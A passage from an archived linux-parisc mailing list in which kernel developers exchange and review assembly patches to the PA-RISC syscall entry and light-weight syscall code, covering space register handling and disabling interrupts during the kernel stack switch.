 3wOb0c8BXkrXNYV+h6HYEgJd1wuCXNsIAOYdn+QlKm5aIpNfmEkCa6nwyDA=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27023
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27023>

parisc: Avoid trashing sr2 and sr3 in LWS code
From: John David Anglin <dave.anglin@bell.net>

There is no need to trash sr2 and sr3 in the Leight-weight syscall (LWS).  sr2
already points to kernel space (it's zero in userspace, otherwise syscalls
wouldn't work), and since the LWS code is executed in userspace, we can simply
ignore to preload sr3.

Signed-off-by: John David Anglin <dave.anglin@bell.net>
Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index d03422e..f13836b 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -474,10 +478,8 @@ lws_start:
 	comiclr,>>	__NR_lws_entries, %r20, %r0
 	b,n	lws_exit_nosys
 
-	/* WARNING: Trashing sr2 and sr3 */
-	mfsp	%sr7,%r1			/* get userspace into sr3 */
-	mtsp	%r1,%sr3
-	mtsp	%r0,%sr2			/* get kernel space into sr2 */
+	/* Note: %sr2 is zero when called from userspace,
+	   else syscalls wouldn't work. */
 
 	/* Load table start */
 	ldil	L%lws_table, %r1
@@ -627,9 +629,9 @@ cas_action:
 	stw	%r1, 4(%sr2,%r20)
 #endif
 	/* The load and store could fail */
-1:	ldw,ma	0(%sr3,%r26), %r28
+1:	ldw,ma	0(%r26), %r28
 	sub,<>	%r28, %r25, %r0
-2:	stw,ma	%r24, 0(%sr3,%r26)
+2:	stw,ma	%r24, 0(%r26)
 	/* Free lock */
 	stw,ma	%r20, 0(%sr2,%r20)
 #if ENABLE_LWS_DEBUG
@@ -706,9 +708,9 @@ lws_compare_and_swap_2:
 	nop
 
 	/* 8bit load */
-4:	ldb	0(%sr3,%r25), %r25
+4:	ldb	0(%r25), %r25
 	b	cas2_lock_start
-5:	ldb	0(%sr3,%r24), %r24
+5:	ldb	0(%r24), %r24
 	nop
 	nop
 	nop
@@ -716,9 +718,9 @@ lws_compare_and_swap_2:
 	nop
 
 	/* 16bit load */
-6:	ldh	0(%sr3,%r25), %r25
+6:	ldh	0(%r25), %r25
 	b	cas2_lock_start
-7:	ldh	0(%sr3,%r24), %r24
+7:	ldh	0(%r24), %r24
 	nop
 	nop
 	nop
@@ -726,9 +728,9 @@ lws_compare_and_swap_2:
 	nop
 
 	/* 32bit load */
-8:	ldw	0(%sr3,%r25), %r25
+8:	ldw	0(%r25), %r25
 	b	cas2_lock_start
-9:	ldw	0(%sr3,%r24), %r24
+9:	ldw	0(%r24), %r24
 	nop
 	nop
 	nop
@@ -737,14 +739,14 @@ lws_compare_and_swap_2:
 
 	/* 64bit load */
 #ifdef CONFIG_64BIT
-10:	ldd	0(%sr3,%r25), %r25
-11:	ldd	0(%sr3,%r24), %r24
+10:	ldd	0(%r25), %r25
+11:	ldd	0(%r24), %r24
 #else
 	/* Load new value into r22/r23 - high/low */
-10:	ldw	0(%sr3,%r25), %r22
-11:	ldw	4(%sr3,%r25), %r23
+10:	ldw	0(%r25), %r22
+11:	ldw	4(%r25), %r23
 	/* Load new value into fr4 for atomic store later */
-12:	flddx	0(%sr3,%r24), %fr4
+12:	flddx	0(%r24), %fr4
 #endif
 
 cas2_lock_start:
@@ -794,30 +796,30 @@ cas2_action:
 	ldo	1(%r0),%r28
 
 	/* 8bit CAS */
-13:	ldb,ma	0(%sr3,%r26), %r29
+13:	ldb,ma	0(%r26), %r29
 	sub,=	%r29, %r25, %r0
 	b,n	cas2_end
-14:	stb,ma	%r24, 0(%sr3,%r26)
+14:	stb,ma	%r24, 0(%r26)
 	b	cas2_end
 	copy	%r0, %r28
 	nop
 	nop
 
 	/* 16bit CAS */
-15:	ldh,ma	0(%sr3,%r26), %r29
+15:	ldh,ma	0(%r26), %r29
 	sub,=	%r29, %r25, %r0
 	b,n	cas2_end
-16:	sth,ma	%r24, 0(%sr3,%r26)
+16:	sth,ma	%r24, 0(%r26)
 	b	cas2_end
 	copy	%r0, %r28
 	nop
 	nop
 
 	/* 32bit CAS */
-17:	ldw,ma	0(%sr3,%r26), %r29
+17:	ldw,ma	0(%r26), %r29
 	sub,=	%r29, %r25, %r0
 	b,n	cas2_end
-18:	stw,ma	%r24, 0(%sr3,%r26)
+18:	stw,ma	%r24, 0(%r26)
 	b	cas2_end
 	copy	%r0, %r28
 	nop
@@ -825,22 +827,22 @@ cas2_action:
 
 	/* 64bit CAS */
 #ifdef CONFIG_64BIT
-19:	ldd,ma	0(%sr3,%r26), %r29
+19:	ldd,ma	0(%r26), %r29
 	sub,*=	%r29, %r25, %r0
 	b,n	cas2_end
-20:	std,ma	%r24, 0(%sr3,%r26)
+20:	std,ma	%r24, 0(%r26)
 	copy	%r0, %r28
 #else
 	/* Compare first word */
-19:	ldw,ma	0(%sr3,%r26), %r29
+19:	ldw,ma	0(%r26), %r29
 	sub,=	%r29, %r22, %r0
 	b,n	cas2_end
 	/* Compare second word */
-20:	ldw,ma	4(%sr3,%r26), %r29
+20:	ldw,ma	4(%r26), %r29
 	sub,=	%r29, %r23, %r0
 	b,n	cas2_end
 	/* Perform the store */
-21:	fstdx	%fr4, 0(%sr3,%r26)
+21:	fstdx	%fr4, 0(%r26)
 	copy	%r0, %r28
 #endif
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Ensure consistent state when switching to kernel stack at syscall entry
Date: Fri, 28 Oct 2016 23:00:34 -0400
Lines: 168
Approved: news@gmane.org
Message-ID: <1FABD2AF-A37A-4B75-8B88-C5D7AB3DF3A8@bell.net>
References: <20161028200414.GA20703@ls3530.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: multipart/mixed; boundary=Apple-Mail-12--960855516
X-Trace: blaine.gmane.org 1477710059 9090 195.159.176.226 (29 Oct 2016 03:00:59 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 29 Oct 2016 03:00:59 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 29 05:00:55 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1c0Jso-0007nC-M9
	for glpp-linux-parisc@m.gmane.org; Sat, 29 Oct 2016 05:00:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1756491AbcJ2DAg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 28 Oct 2016 23:00:36 -0400
Original-Received: from belmont79srvr.owm.bell.net ([184.150.200.79]:32970 "EHLO
        mtlfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1755780AbcJ2DAg (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 28 Oct 2016 23:00:36 -0400
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20161029030034.IHQC11074.mtlfep01.bell.net@mtlspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Fri, 28 Oct 2016 23:00:34 -0400
Original-Received: from [192.168.2.10] (really [184.144.121.77])
          by mtlspm01.bell.net with ESMTP
          id <20161029030034.FJDJ27845.mtlspm01.bell.net@[192.168.2.10]>;
          Fri, 28 Oct 2016 23:00:34 -0400
In-Reply-To: <20161028200414.GA20703@ls3530.box>
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020201.581410D2.013E,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27024
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27024>


--Apple-Mail-12--960855516
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain;
	charset=us-ascii

On 2016-10-28, at 4:04 PM, Helge Deller wrote:

> We have one critical section in the syscall entry path in which we =
switch from
> the userspace stack to kernel stack. In the event of an external =
interrupt, the
> interrupt code distinguishes between those two states by analyzing the =
value of
> sr7. If sr7 is zero, it uses the kernel stack. Therefore it's =
important, that
> the value of sr7 is in sync with the currently enabled stack.
>=20
> This patch now disables interrupts while executing the critical =
section.  This
> prevents the interrupt handler to possibly see an inconsitent state =
which in
> the worst case can lead to crashes.
>=20
> Interestingly, in the syscall exit path interrupts were already =
disabled in the
> critical section which switches back to the userspace stack.
>=20
> Cc: <stable@vger.kernel.org>
> Signed-off-by: Helge Deller <deller@gmx.de>
>=20
> diff --git a/arch/parisc/kernel/syscall.S =
b/arch/parisc/kernel/syscall.S
> index d03422e..f13836b 100644
> --- a/arch/parisc/kernel/syscall.S
> +++ b/arch/parisc/kernel/syscall.S
> @@ -106,8 +106,6 @@ linux_gateway_entry:
> 	mtsp	%r0,%sr4			/* get kernel space into =
sr4 */
> 	mtsp	%r0,%sr5			/* get kernel space into =
sr5 */
> 	mtsp	%r0,%sr6			/* get kernel space into =
sr6 */
> -	mfsp    %sr7,%r1                        /* save user sr7 */
> -	mtsp    %r1,%sr3                        /* and store it in sr3 =
*/
>=20
> #ifdef CONFIG_64BIT
> 	/* for now we can *always* set the W bit on entry to the syscall
> @@ -134,20 +132,26 @@ linux_gateway_entry:
> 1:=09
> #endif
> 	mfctl   %cr30,%r1
> -	xor     %r1,%r30,%r30                   /* ye olde xor trick */
> -	xor     %r1,%r30,%r1
> -	xor     %r1,%r30,%r30
> -=09
> -	ldo     THREAD_SZ_ALGN+FRAME_SIZE(%r30),%r30  /* set up kernel =
stack */
> +	ldo     THREAD_SZ_ALGN+FRAME_SIZE(%r1),%r1  /* set up kernel =
stack */
>=20
> 	/* N.B.: It is critical that we don't set sr7 to 0 until r30
> 	 *       contains a valid kernel stack pointer. It is also
> 	 *       critical that we don't start using the kernel stack
> -	 *       until after sr7 has been set to 0.
> +	 *       until after sr7 has been set to 0. To ensure this we
> +	 *       use a rsm/ssm pair to make this operation atomic.
> +	 *       At syscall entry %sr2 points to kernel space, otherwise
> +	 *       syscalls wouldn't work.
> 	 */
> +	rsm     PSW_SM_I, %r0			/* turn interrupts off =
*/
> +	STREGM	%r30,FRAME_SIZE(%sr2, %r1)	/* save usp on kernel =
stack */
> +	copy    %r1, %r30			/* switch to kernel =
stack */
> +
> +	mfsp    %sr7,%r1                        /* get user sr7 */
> +	mtsp    %r1,%sr3                        /* store user sr7 in sr3 =
*/
>=20
> 	mtsp	%r0,%sr7			/* get kernel space into =
sr7 */
> -	STREGM	%r1,FRAME_SIZE(%r30)		/* save r1 (usp) here =
for now */
> +	ssm     PSW_SM_I, %r0			/* turn interrupts on */
> +
> 	mfctl	%cr30,%r1			/* get task ptr in %r1 =
*/
> 	LDREG	TI_TASK(%r1),%r1


The above doesn't assemble.  The STREGM instruction doesn't allow =
explicit space register
selection with long displacements.

The attached patch does assemble and v4.7.10 boots successfully with =
change.

I'm thinking we might now be able to remove the restriction on =
scheduling on the gateway page.

Signed-off-by: John David Anglin <dave.anglin@bell.net>



--Apple-Mail-12--960855516
Content-Disposition: attachment;
	filename=syscall.S.d.txt
Content-Type: text/plain;
	name="syscall.S.d.txt"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index d03422e..deec1f8 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -106,8 +106,6 @@ linux_gateway_entry:
 	mtsp	%r0,%sr4			/* get kernel space into sr4 */
 	mtsp	%r0,%sr5			/* get kernel space into sr5 */
 	mtsp	%r0,%sr6			/* get kernel space into sr6 */
-	mfsp    %sr7,%r1                        /* save user sr7 */
-	mtsp    %r1,%sr3                        /* and store it in sr3 */
 
 #ifdef CONFIG_64BIT
 	/* for now we can *always* set the W bit on entry to the syscall
@@ -133,6 +131,14 @@ linux_gateway_entry:
 	depdi	0, 31, 32, %r21
 1:	
 #endif
+
+	/* We use a rsm/ssm pair to prevent sr3 from being clobbered
+	 * by external interrupts.
+	 */
+	mfsp    %sr7,%r1                        /* save user sr7 */
+	rsm	PSW_SM_I, %r0			/* disable interrupts */
+	mtsp    %r1,%sr3                        /* and store it in sr3 */
+
 	mfctl   %cr30,%r1
 	xor     %r1,%r30,%r30                   /* ye olde xor trick */
 	xor     %r1,%r30,%r1
@@ -147,6 +153,7 @@ linux_gateway_entry:
 	 */
 
 	mtsp	%r0,%sr7			/* get kernel space into sr7 */
+	ssm	PSW_SM_I, %r0			/* enable interrupts */
 	STREGM	%r1,FRAME_SIZE(%r30)		/* save r1 (usp) here for now */
 	mfctl	%cr30,%r1			/* get task ptr in %r1 */
 	LDREG	TI_TASK(%r1),%r1

--Apple-Mail-12--960855516
Content-Transfer-Encoding: 7bit
Content-Type: text/plain;
	charset=us-ascii



Dave
--
John David Anglin	dave.anglin@bell.net

--Apple-Mail-12--960855516--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Ensure consistent state when switching to kernel
 stack at syscall entry
Date: Sat, 29 Oct 2016 19:33:56 +0200
Lines: 87
Approved: news@gmane.org
Message-ID: <5814DD84.6050806@gmx.de>
References: <20161028200414.GA20703@ls3530.box>
 <1FABD2AF-A37A-4B75-8B88-C5D7AB3DF3A8@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1477762455 18998 195.159.176.226 (29 Oct 2016 17:34:15 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 29 Oct 2016 17:34:15 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
Cc: "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
        James Bottomley <James.Bottomley@HansenPartnership.com>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 29 19:34:11 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1c0XWB-0003nl-Co
	for glpp-linux-parisc@m.gmane.org; Sat, 29 Oct 2016 19:34:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752197AbcJ2ReJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 29 Oct 2016 13:34:09 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:58884 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751570AbcJ2ReI (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 29 Oct 2016 13:34:08 -0400
Original-Received: from [192.168.20.60] ([92.203.32.229]) by mail.gmx.com (mrgmx001)
 with ESMTPSA (Nemesis) id 0Lrviw-1d1bR22pHK-013aBU; Sat, 29 Oct 2016 19:33:58
 +0200
X-Enigmail-Draft-Status: N1110
In-Reply-To: <1FABD2AF-A37A-4B75-8B88-C5D7AB3DF3A8@bell.net>
X-Provags-ID: V03:K0:IAcLQfmS0LpBqNVcuwEzaKcNgGoNCFAtC0m2BujZ30+WV37mtXx
 TMF0DAAJXnlSxgSVCoWC4jpUehHkua94uXFFLBdPJ1wB0rTVKsc+36p38owMpIwhfmx5Jkr
 aJu2j3HzQT5TYzbPav5lLITh27VOYtZejdyQoRrRcFXnfA3MchhGrwWg70wKjwp7M8k4hW5
 LaOGmSZaRH9wSpSSVuX4g==
X-UI-Out-Filterresults: notjunk:1;V01:K0:Jy0SI7asCAU=:HN3J3jw2kasRmyFf1b4EHZ
 sHLhkjuEf5NJoBswkid7L+l4tv8BixqAMP1sNtq5zqbggj+XrepTipI3PTHRfTXT3dhT7/cE3
 ymW4EIiJKrtUZb3UFWFhjW+PYsZNxW6GSO8M1d7cLYsIDXeMti737/MWZCYiufi9g+LnbDFED
 ppkr7RRLJtDhQ2QiOkUEdYn4uMIIFBEIA2JbWmxtmzVQbbWdKaLKUYnf5x2YvI2BsD2K0f0sq
 ASGyaClA0bFvqs6gnumX7le7TZuA7GMeSZNJ4e4Tmpnfsd0RW21WpU8L2xYUuoe6dQIO6x/ZI
 faxy18KuKHsmZJSdcqbLVvsVMD/yrtKDfT8LlrdjJNYBGBlpmLHrMYK9b2Oqr93qb6YRSa96G
 WX3WVPpTb+2u0TmYxIlcW7xAorYW0gtUM10Go8np4OWep2lsHx5G9KA4ZVjUrZ6T6pzSSuRH4
 6uUtrRFm6tezhSbrMFG+qbfgFZ+2pHTUk5hR6b8GoxL+Jluv4+6//qQNcGAUcCOxgM9QZ+hOC
 Hr//PUyK+jbRw4/QLtXW15jaBSQjQE6F+NfNORBtN6XclI0EC+c0JpPND29VVpKERtVkXsYZB
 LCOqhwU2x+79+yO1pNzWTvzNb3YsrwHwl3h/MDB4VMlGU+IM8vCiD1JaPfWuqRINApt98jVAt
 nL7FJlblTmmox2ajefPUpLjJpcDGYFbxA8a5VV5BExF7V2v5OkEbkQhpUUSlJ93DJ2VfQfOd/
 5UcZJPxRSM7HuF9patNb3rcjAXYDgagjCH0QpfmCAws7NHCJocgyHlBnycEgGnoTG4WDbQgV 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27025
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27025>

On 29.10.2016 05:00, John David Anglin wrote:
> On 2016-10-28, at 4:04 PM, Helge Deller wrote:
> 
>> We have one critical section in the syscall entry path in which we switch from
>> the userspace stack to kernel stack. In the event of an external interrupt, the
>> interrupt code distinguishes between those two states by analyzing the value of
>> sr7. If sr7 is zero, it uses the kernel stack. Therefore it's important, that
>> the value of sr7 is in sync with the currently enabled stack.
>>
>> This patch now disables interrupts while executing the critical section.  This
>> prevents the interrupt handler to possibly see an inconsitent state which in
>> the worst case can lead to crashes.
>>
>> Interestingly, in the syscall exit path interrupts were already disabled in the
>> critical section which switches back to the userspace stack.
>>
>> Cc: <stable@vger.kernel.org>
>> Signed-off-by: Helge Deller <deller@gmx.de>
>>
>> diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
>> index d03422e..f13836b 100644
>> --- a/arch/parisc/kernel/syscall.S
>> +++ b/arch/parisc/kernel/syscall.S
>> @@ -106,8 +106,6 @@ linux_gateway_entry:
>> 	mtsp	%r0,%sr4			/* get kernel space into sr4 */
>> 	mtsp	%r0,%sr5			/* get kernel space into sr5 */
>> 	mtsp	%r0,%sr6			/* get kernel space into sr6 */
>> -	mfsp    %sr7,%r1                        /* save user sr7 */
>> -	mtsp    %r1,%sr3                        /* and store it in sr3 */
>>
>> #ifdef CONFIG_64BIT
>> 	/* for now we can *always* set the W bit on entry to the syscall
>> @@ -134,20 +132,26 @@ linux_gateway_entry:
>> 1:	
>> #endif
>> 	mfctl   %cr30,%r1
>> -	xor     %r1,%r30,%r30                   /* ye olde xor trick */
>> -	xor     %r1,%r30,%r1
>> -	xor     %r1,%r30,%r30
>> -	
>> -	ldo     THREAD_SZ_ALGN+FRAME_SIZE(%r30),%r30  /* set up kernel stack */
>> +	ldo     THREAD_SZ_ALGN+FRAME_SIZE(%r1),%r1  /* set up kernel stack */
>>
>> 	/* N.B.: It is critical that we don't set sr7 to 0 until r30
>> 	 *       contains a valid kernel stack pointer. It is also
>> 	 *       critical that we don't start using the kernel stack
>> -	 *       until after sr7 has been set to 0.
>> +	 *       until after sr7 has been set to 0. To ensure this we
>> +	 *       use a rsm/ssm pair to make this operation atomic.
>> +	 *       At syscall entry %sr2 points to kernel space, otherwise
>> +	 *       syscalls wouldn't work.
>> 	 */
>> +	rsm     PSW_SM_I, %r0			/* turn interrupts off */
>> +	STREGM	%r30,FRAME_SIZE(%sr2, %r1)	/* save usp on kernel stack */
>> +	copy    %r1, %r30			/* switch to kernel stack */
>> +
>> +	mfsp    %sr7,%r1                        /* get user sr7 */
>> +	mtsp    %r1,%sr3                        /* store user sr7 in sr3 */
>>
>> 	mtsp	%r0,%sr7			/* get kernel space into sr7 */
>> -	STREGM	%r1,FRAME_SIZE(%r30)		/* save r1 (usp) here for now */
>> +	ssm     PSW_SM_I, %r0			/* turn interrupts on */
>> +
>> 	mfctl	%cr30,%r1			/* get task ptr in %r1 */
>> 	LDREG	TI_TASK(%r1),%r1
> 
> 
> The above doesn't assemble.  The STREGM instruction doesn't allow explicit space register
> selection with long displacements.

Argh.
The assembler didn't even complained, but after looking at the 
generated assembly you are right.
Thanks for noticing!  
 
> The attached patch does assemble and v4.7.10 boots successfully with change.
 
> I'm thinking we might now be able to remove the restriction on scheduling on the gateway page.

Yes, probably.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Ignore the pkey system calls for now
Date: Sat, 29 Oct 2016 23:47:57 +0200
Lines: 10
Approved: news@gmane.org
Message-ID: <20161029214757.GA17608@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1477777724 1696 195.159.176.226 (29 Oct 2016 21:48:44 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 29 Oct 2016 21:48:44 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 29 23:48:39 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1c0bU1-0004gz-Qk
	for glpp-linux-parisc@m.gmane.org; Sat, 29 Oct 2016 23:48:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752824AbcJ2VsK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 29 Oct 2016 17:48:10 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:50169 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752380AbcJ2VsK (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 29 Oct 2016 17:48:10 -0400
Original-Received: from p100.box ([92.203.32.229]) by mail.gmx.com (mrgmx101) with
 ESMTPSA (Nemesis) id 0MNuwp-1byeba3Avz-007VXl; Sat, 29 Oct 2016 23:48:01
 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:hms0+tFyHEeLBE1lMe1o7uAOj2u6EzfAgdSttDQ6OtNzZiKrqXY
 l5jUiiTCY9xeuGrSrVd92Iyhf0TgZ2Dora9/5cnItEbDr1oQaCevb5a2jUJRJDqphLVil/+
 ZKaw+cjJppgV29K3bAfhem0tC24OftV30v59aVYn7Tsw5NaQB/3R5ox95/OQ69B27o8WUJL
 z1Ez+1/QISdtS76JxhW1A==
X-UI-Out-Filterresults: notjunk:1;V01:K0:4lR5gwgJ3Ew=:yZEWl0Qgap/2AxyC6OezRV
 g6zMHY05QEwFES5KZosNyaNgpWl5B8egC+eikTPoN3zuHZPKpL4DIa2QRYLth3OmEevg2UGFX
 fzO7k/34+cQexiOAGhQyruahN56ULb69FzzefsHx8TMQPU9RQkXJAzkzg8hb5MAtPY9MGkxpa
 KBoK0CWKaToBoViHfhH0MfCSrcc1oF0g7JxhkG2MvZiLuFCp5bkxWFrDTlfGsBDKg3I65S1lp
 wbbGzERtNi2EwBS1wsia5uyRZIhcmd+RERCA6LIraXTRM6iwNQiwAOPk5POUYwVowUSGdHLK5
 BE0zcJgOlzKzQ6UmlMIGWu/2BXLY2I8wlIB7DmNeXg2tkLw2N4qypYXMv8llwvWDPXOn6tP83
 Uxq0MiZL95dDvaVw8UCJ1dyEEx4cSoqh9PD6NtTq+w7ovtT7uC2yGpAoTmYzCjGpLg+YdfrG4
 XsquT2cYIZw7aBGdqLmjDCEGN8vL6hlwVFAC2GFkWQv1xzW7b+cR0jxnmzOE5HslMJg4cHAf2
 pjsAbumkIYGUaMzZ3WDrtvcVYNgLYHIIG88eCJT0K12fVCyIoAgkUDbfmqUR50ilImGjCk1nt
 Z+mPUXsRz5ghV9FLwDdlXuyDcb6QTRz9UpOatQrLGKlxTlgUs6M15KoSUyOTVF56BCnr/7lGj
 urF/rpTm0zHGQCCsUcd9Uj9fAN8t841eyqxqWwvaMsK4JX+ezM2h3+JNrhZFEPncsKOUtC4pr
 pCrthvk2F25v2IMGplqVC0AM8IjyOD2WgifbUgqC0O7OtTo4A1ix3IrM/B4=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27026
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27026>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/uapi/asm/unistd.h b/arch/parisc/include/uapi/asm/unistd.h
index a9b9407..6b0741e 100644
--- a/arch/parisc/include/uapi/asm/unistd.h
+++ b/arch/parisc/include/uapi/asm/unistd.h
@@ -368,7 +368,9 @@
 
 #define __IGNORE_select		/* newselect */
 #define __IGNORE_fadvise64	/* fadvise64_64 */

From - Thu Nov 08 21:39:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Use LINUX_GATEWAY_ADDR define instead of hardcoded
 value value
Date: Sat, 29 Oct 2016 23:52:43 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <20161029215243.GA24444@ls3530.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1477778005 1996 195.159.176.226 (29 Oct 2016 21:53:25 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 29 Oct 2016 21:53:25 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 29 23:53:21 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1c0bYb-000585-3o
	for glpp-linux-parisc@m.gmane.org; Sat, 29 Oct 2016 23:52:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752340AbcJ2Vwz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 29 Oct 2016 17:52:55 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:61969 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751900AbcJ2Vwy (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 29 Oct 2016 17:52:54 -0400
